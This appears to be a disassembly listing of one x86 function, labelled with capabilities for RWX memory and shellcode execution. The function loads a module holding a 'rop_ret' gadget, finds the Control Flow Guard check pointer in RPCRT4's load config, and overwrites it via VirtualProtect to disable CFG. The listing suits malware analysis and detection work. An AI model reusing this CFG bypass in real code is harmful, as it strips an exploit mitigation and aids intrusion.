Function at 0x1001e460
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005225d
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x100e8018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x34], esi
push 0xa
xor eax, eax
mov dword [ebp - 0x28], 0
push str.RPCRT4.dll
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
call fcn.1000ff20
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x28]
xor ebx, ebx
xor edx, edx
mov dword [esi], ebx
call fcn.1002e280
mov edi, eax
test edi, edi
jne 0x1001e4f9
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
push str.CopyRopGadgetModuleAndLoad_failed_for__S_n
push dword [0x100ee8a4]
call fcn.1000f610
add esp, 0xc
jmp 0x1001e64f
push str.rop_ret
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x30], eax
test eax, eax
jne 0x1001e516
push str.rop_ret_function_not_found_in_the_dll_n
jmp 0x1001e62e
push edi
call dword [sym.imp.dbghelp.dll_ImageNtHeader]
mov edx, 0x4000
mov ecx, dword [eax + 0xc8]
mov dword [ebp - 0x2c], ebx
test word [eax + 0x5e], dx
jne 0x1001e54a
push edi
push str.Module_at_address__p_does_not_support_CFG_n
push dword [0x100ee8a4]
call fcn.1000f610
add esp, 0xc
jmp 0x1001e629
test ecx, ecx
jne 0x1001e567
push edi
push str.Module_at_address__p_does_not_have_a_valid_IMAGE_LOAD_CONFIG_DIRECTORY_n
push dword [0x100ee8a4]
call fcn.1000f610
add esp, 0xc
jmp 0x1001e629
mov ebx, dword [ecx + edi + 0x48]
lea esi, [ecx + edi]
push esi
push str.Load_cfg_dir__p_n
push dword [0x100ee8a4]
call fcn.1000f610
mov eax, dword [esi + 0x48]
add esp, 0xc
test eax, eax
jne 0x1001e5a1
push str.loadCgfDir__GuardCFCheckFunctionPointer_is_NULL_n
push dword [0x100ee8a4]
call fcn.1000f610
add esp, 8
jmp 0x1001e627
push eax
push 0x100d9b68
push dword [0x100ee8a4]
call fcn.1000f610
push dword [ebx]
push str.__guard_check_icall_fptr__p_n
push dword [0x100ee8a4]
call fcn.1000f610
add esp, 0x18
cmp dword [ebx], 0
jne 0x1001e5e1
push str.__guard_check_icall_fptr_is_NULL_n
push dword [0x100ee8a4]
call fcn.1000f610
add esp, 8
jmp 0x1001e627
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x2c]
push eax
push 0x40
push 4
push ebx
call esi
test eax, eax
je 0x1001e60b
mov eax, dword [ebp - 0x30]
mov dword [ebx], eax
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 0x2c]
push 4
push ebx
call esi
test eax, eax
jne 0x1001e645
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [ebx]
push str.VirtualProtect_failed_for__p__last_error__d_n
push dword [0x100ee8a4]
call fcn.1000f610
add esp, 0x10
xor ebx, ebx
push str.check_and_patch_cfg_failed_n
push dword [0x100ee8a4]
call fcn.1000f610
add esp, 8
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x1001e64f
mov eax, dword [ebp - 0x34]
mov ebx, 1
mov dword [eax], edi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x1001e685
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x1001e67b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001e6a3
push edx
push ecx
call fcn.1003140a
add esp, 8
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100313c7
mov esp, ebp
pop ebp
ret
call fcn.100397bd
int3